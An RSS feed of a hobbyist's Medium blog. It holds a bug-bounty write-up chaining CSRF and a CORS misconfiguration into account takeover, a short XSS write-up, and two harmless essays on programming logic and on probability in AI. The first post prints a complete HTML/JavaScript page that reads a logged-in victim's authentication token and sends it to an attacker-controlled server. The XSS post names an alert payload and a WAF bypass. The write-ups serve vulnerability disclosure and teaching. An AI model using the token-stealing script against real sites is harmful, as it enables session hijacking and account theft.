<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Niraj Modi on Medium]]></title>
        <description><![CDATA[Stories by Niraj Modi on Medium]]></description>
        <link>https://medium.com/@nirajmodi51?source=rss-7a5edb306e8a------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*ELk1FzDV8q7xSmQD6HTlNA.jpeg</url>
            <title>Stories by Niraj Modi on Medium</title>
            <link>https://medium.com/@nirajmodi51?source=rss-7a5edb306e8a------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 02:38:04 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@nirajmodi51/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Missing CORS leads to Complete Account Takeover]]></title>
            <link>https://nirajmodi51.medium.com/missing-cors-leads-to-complete-account-takeover-1ed4b53bf9f2?source=rss-7a5edb306e8a------2</link>
            <guid isPermaLink="false">https://medium.com/p/1ed4b53bf9f2</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bugcrowd]]></category>
            <category><![CDATA[account-takeover]]></category>
            <category><![CDATA[bug-hunting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Niraj Modi]]></dc:creator>
            <pubDate>Tue, 30 Mar 2021 14:48:48 GMT</pubDate>
            <atom:updated>2021-03-30T14:48:48.070Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello Mates,</p><p>This vulnerability is one of my best finding till date. It has severity of P2 according to Bugcrowd VRT.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*XMNfSPQmHyTuMIdziPI-nA.png" /></figure><p>So, the story begins like this, I was testing on this target and found that there was an application wide CSRF in the domain. Now, as per bugcrowd this vulnerability alone has severity of P2. But when I reported it, as usual, it got duplicated.</p><p>But yet the vulnerability was present so I thought if I chain this bug with some other bug I might find something interesting.</p><p>I immediately fired up my Burpsuite and started looking for some more bugs to chain it with this.</p><p>One thing that I do most often when I start with my testing is when I enter the credentials and click login I turn on my burp proxy and when the login functionality is completed and the landing page is completely loaded in the browser. I turn off my proxy for a while and take a look at my Burp History. This methodology of mine gives me a good understanding of what requests the application sends and response is received on login(just login).</p><p>So as I told I stared looking in the burp history tab. I was looking every response returned. Something that captured my attention was an HTML response. I saw that in the main domain like “stage.redacted.com/” the HTML contained authentication token and all the session related data.</p><p>Now since there was no CSRF , I confirmed that if somehow I get this data(authentication token in particular) I will be able to perform a complete account takeover of any user. But CSRFs are generally exploited to make victim perform some action. But this authentication token was just visible in the victim’s browser when the HTML gets loaded after the user logs in. There was actually nothing that I can change in the victim’s page.</p><p>Being a programmer, I have a habit of dividing bigger (seemingly impossible)problems into smaller and smaller problems upto an extent that it becomes solvable.</p><p>So currently I have CSRF at my hand as a tool and my problem is to get the data from user’s browser and send it to my server. Using CSRF all I can do was make a request on user’s behalf but that too will only work on the victim’s PC in which he is logged in. This is when <strong><em>Missing CORS </em></strong>came to rescue. I noticed the “<em>Access-Control-Allow-Credential: True</em>” in the response header.</p><p>Now I have CSRF and Missing CORS at my hand as tools. I thought what if I craft a malicious page and send it to the victim.</p><p>This malicious page will have two callback AJAX requests. First request will issue a get request to <a href="https://stage.redacyed/"><strong><em>https://stage.redacted</em></strong></a><strong><em>.com/</em></strong> the response of which will contain HTML that have authentication token in it and the Second request will add that HTML response to my server URL and send a request to my server. Using the logs I can get the HTML data and thus the authentication token.</p><p>Now I may be a newbie in bug hunting but when it comes to programming I am a different person altogether.And creating this script was a piece of cake.</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br>&lt;body onload = “loadDoc(‘<a href="https://stage.redacted.com&/#39;">https://www.redacted.com&#39;</a>, myFunction)”&gt;<br>&lt;div id=”demo”&gt;<br>&lt;h2&gt;Your account is taken over by &lt;b&gt;&lt;i&gt;Jordin&lt;/i&gt;&lt;/b&gt;&lt;/h2&gt;&lt;script&gt;<br>function loadDoc(url, cFunction) {<br> var xhttp;<br> xhttp=new XMLHttpRequest();<br> xhttp.onreadystatechange = function() {<br> if (this.readyState == 4 &amp;&amp; this.status == 200) {<br> cFunction(this);<br> }<br> };<br> xhttp.open(“GET”, url, true);<br> xhttp.withCredentials = true;<br> xhttp.send();<br>}<br>function myFunction(xhttp) {<br> // document.getElementById(“demo”).innerHTML =<br> // xhttp.responseText;<br> var xhttp1;<br> xhttp1=new XMLHttpRequest();<br> xhttp1.onreadystatechange = function() {<br> if (this.readyState == 4 &amp;&amp; this.status == 200) {<br> 1<br> }<br> };<br> var content = xhttp.responseText;<br> var n = content.indexOf(“authentication_token”)<br> //Change the url here to attacker controlled server<br> url = “<a href="https://ygidm0kowh98znx6dqkzvt1sxj3br0.burpcollaborator.net/">https://attacker-server-url.com/</a>&quot; + content.substring(n,);xhttp.open(“GET”, url, true);<br> xhttp.withCredentials = true;<br> xhttp.send();<br>}<br>&lt;/script&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>This is the script I wrote, easy right?</p><p>It was sending me the auth token I required.</p><p>Here for this vulnerability to take place two things were very important <strong>CSRF and Missing CORS</strong>. Without this we would have to find some different method.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y1XSvg9k2heiRsw306ZOOg.png" /></figure><p><strong><em>Tips:</em></strong></p><ul><li>Even if your report gets duplicate(which obviously means that the company have not resolved the issue yet), there are still high chances you can escalate or chain the vulnerability.</li><li>Never ignore any type of bugs even if it of low severity, chaining it may result in high severity bugs.</li><li>Even if you can’t perform any action such as password/email change, reset password etc. using CSRF, there may be some other GET based request that may lead you to P1 or P2. <strong><em>Be Creative</em></strong>.</li><li>If you find any interesting exploit of a bug / blog / write-ups share it with community, like this one .</li></ul><p>Lastly, encourage new bug hunters like me, by clapping and leaving some tips of yours and sharing it on your twitter feed(okay the sharing part was for some reach. ;-) )</p><p>See you until next time.</p><p>Do ping me on twitter. <a href="https://twitter.com/nirajmodi51"><em>Here</em></a></p><p><strong>I am </strong><a href="https://twitter.com/nirajmodi51"><strong>Jordin</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1ed4b53bf9f2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTML Injection Vulnerability to XSS]]></title>
            <link>https://nirajmodi51.medium.com/html-injection-vulnerability-to-xss-3f1ae27007b3?source=rss-7a5edb306e8a------2</link>
            <guid isPermaLink="false">https://medium.com/p/3f1ae27007b3</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[bugcrowd]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Niraj Modi]]></dc:creator>
            <pubDate>Fri, 12 Mar 2021 12:35:18 GMT</pubDate>
            <atom:updated>2021-03-12T12:35:18.260Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello Mates,</p><p>This is my first bug bounty writeup on finding an HTML Injection Vulnerability and escalating it to XSS.</p><p>It started as my friend found a potential 2FA bypass in the application but somehow was not able to escalate it. So he and I started working on finding a valid eploit for it. But later realized that it was actually not a bypass but just a misconfigured 2FA(That’s story for some other day).</p><p>Now , I started hunting on the target in bugcrowd, which is actually a very old target and I started with the main landing page, which obviously was very noob move as the target was so old and heavily tested, it had less chances to find vulnerability in it. Yet after I and my friend was done with the 2FA thing I started throwing around normal HTML tags in all the input fields.</p><p>I put an HTML tag (<strong>&lt;h1&gt;test&lt;/h1&gt;</strong>) in the search box, it was getting reflected but it was reflected in the encoded format. I tried some techniques to bypass the encoding, but was not successful. I started testing on other input fields. But then I saw when I click on the search box although the input on the page was encoded but on the recent searches tab it was getting executed. I immediately put the payload (<strong>&lt;svg onload=alert(1)&gt;&lt;/svg&gt;</strong>) and to my disappointment it didn’t dispayed the alert box. The application was using some WAF that didn’t allowed JS to work, neither attributes nor script tags were working. In order to bypass it, I tried <strong><em>&lt;img&gt;</em></strong> tag and loaded a vulnerable image and it got my payload executed.</p><p>I was so happy and immediately reported it and waited for the result. The severity was updated to P3 but sadly it also was marked duplicate(“The major con of testing an old program.”). But yet I was happy on the finding and technique I tried to bypass the filtering.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*VOZ3AUQpGRIvpecHo5iqMw.png" /></figure><p>I am Niraj Modi. I hunt by the name “<strong><em>Jordin</em></strong>” . I started bug bounty as a hobby last year. Though I have not recieved any monetary reward as of now but I am still trying , so any tips about writeup or bug bounty tips are always welcomed. I am planning on constantly posting about my findings. Please give a clap if you found the post informative. Follow me here to get regular updates.</p><p>This is my twitter handle <a href="https://twitter.com/nirajmodi51"><strong>Jordin</strong></a>.</p><p>Please message me if you have any suggestions/query .</p><p>See you later.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3f1ae27007b3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How To Develop Logic as a Programmer?]]></title>
            <link>https://nirajmodi51.medium.com/how-to-develop-logic-as-a-programmer-c4242bf96180?source=rss-7a5edb306e8a------2</link>
            <guid isPermaLink="false">https://medium.com/p/c4242bf96180</guid>
            <dc:creator><![CDATA[Niraj Modi]]></dc:creator>
            <pubDate>Mon, 22 Jul 2019 17:12:42 GMT</pubDate>
            <atom:updated>2025-11-06T07:56:40.200Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello, let me first introduce myself. I am a programmer that is completely fascinated about technology . This is my second blog so please bear me.</p><p><strong>Problem Statement</strong></p><p>Let’s start. As I said I am a programmer and I work as a “Computer Vision Scientist” (not as fancy at it sounds) in a fin-tech startup. Today at work I was given a pretty simple task, I was to extract out the stamps from images and thresholding the image to get the background as white and the stamp as black colored.</p><p><strong>Solution</strong></p><p>I started thinking about the problem. As there were only two objects in the image (stamp and the background) I thought let’s keep it simple, all I have to do is to find a way to differentiate between those (and rest will be done by the famous if-else statement). I simply plotted the histogram of the image. That gave me the two peaks one for the stamp and other for the background. Now all I have to do is to find the midpoint between the two peaks. That will be my threshold value and using that threshold I can differentiate between the stamp and the background in the image.</p><p>That’s was an easy solution.</p><p>Now If anyone has ever done computer vision or Image Processing, must have heard of a very popular image processing library “<strong><em>OpenCV</em></strong>”. In OpenCV, there is a lot of function that includes some of the thresholding function as well. In those function, there is a function called “<strong><em>OTSU THRESHOLDING</em></strong>”. This function does exactly the same thing that I did before.</p><p>Today when I implemented this and later came to know about Otsu Thresholding, I was so so happy. I know it’s not much of a thing to mention what I did but I haven’t read about Otsu Thresholding before. I am not writing this for the expert programmers or coders, this is just an example of how logic is developed.</p><p>In my college days, I had a lot of friends who used to come to me and say</p><p>“<em>Yaar Niraj I am having trouble in finding logic to the program, or I am not able to solve the problem</em> ”.</p><p>To which I immediately asked</p><p>“<em>How much time you were stuck with the problem?</em>”</p><p>The maximum amount of time that I heard of was not more than 30 minutes.</p><p>That’s the thing, to develop logic or enhance your critical thinking ability you don’t need to be a super-intelligent math wizard or have an IQ level of 160 or above. All you need to do is to stay with the problem longer. Think about it. Try to map it with the real world. Talk in the communities. Do whatever it takes.</p><p>Don’t take any solution of a problem for granted. By this I mean, just say to yourself “Okay fine this is a solution, I’ll try to figure out another one maybe a better one.”</p><p>Try to solve even or odd number problem without using modulo operator, or without using division operator. That’s how you will develop your problem solving skills. That’s how you will be able to face a problem.</p><p>I would conclude by quoting :</p><blockquote>I am not an expert I just stay with the problem longer.</blockquote><blockquote>-Anonymous</blockquote><p>I am very new to writing any feedbacks are welcomed.</p><p>Thanks. :-)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c4242bf96180" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Why probability is so important in learning Artificial Intelligence?]]></title>
            <link>https://nirajmodi51.medium.com/why-probability-is-so-important-in-learning-artificial-intelligence-c76259992b27?source=rss-7a5edb306e8a------2</link>
            <guid isPermaLink="false">https://medium.com/p/c76259992b27</guid>
            <category><![CDATA[decisions]]></category>
            <category><![CDATA[artificial-intelligence]]></category>
            <category><![CDATA[probability]]></category>
            <category><![CDATA[machine-learning]]></category>
            <dc:creator><![CDATA[Niraj Modi]]></dc:creator>
            <pubDate>Mon, 12 Mar 2018 03:49:27 GMT</pubDate>
            <atom:updated>2018-03-12T03:49:27.368Z</atom:updated>
            <content:encoded><![CDATA[<p>Artificial Intelligence today have became one of the leading technology around the globe and it’s being estimated that with the advent of 2030 it will be popularized all over the world. For one to become an Artificial Intelligence Researcher must have an sound knowledge of mathematics ,specially statistics and probability. Why these two are so important? I mean there are a lot more in mathematics but why only these two are more frequently heard while talking about AI or Machine Learning(ML) . We will discuss statistics some other day on some other post. Today we are going to touch the probability section.<br>Artificial Intelligence is about creating intelligence artificially. It’s all about taking decisions on its own. So how it is even possible for a system, prepared artificially to take any kind of decisions. The answer might be using “probability”. Lets us look how our brain takes decisions.</p><p>Let us assume that A and B are two individual persons. Due to some reasons these two guys are having a big argument and while the argument was on, it turned out into a fight and B slapped A. Now it’s turn of A to react on the action taken by B.</p><p>Now there’s an immediate question in our mind “<strong>What A did</strong>”. Now let’s see what command does the A’s brain trigger and how it would decide. There will numerous parameter depending on which the A will react on the action. Some of them might be“Who is B?”, “how B is related to A” , “Why he slapped”, “How hard he slapped”, “Why they were having an argument” and a lot more questions. The answer to this questions will lead A to take decision. Now A’s brain will set probability on different actions it could take and the one for which A have the highest probability will be the action of A.</p><p>This is the way our brain decides by calculating probability. Artificial Intelligence is about mimicking the human brain.This is the reason, why probability is so much important in Artificial Intelligence.</p><p>Moreover this is my first post. So, kindly comment , how can I make it better. Critics are always welcomed.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c76259992b27" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>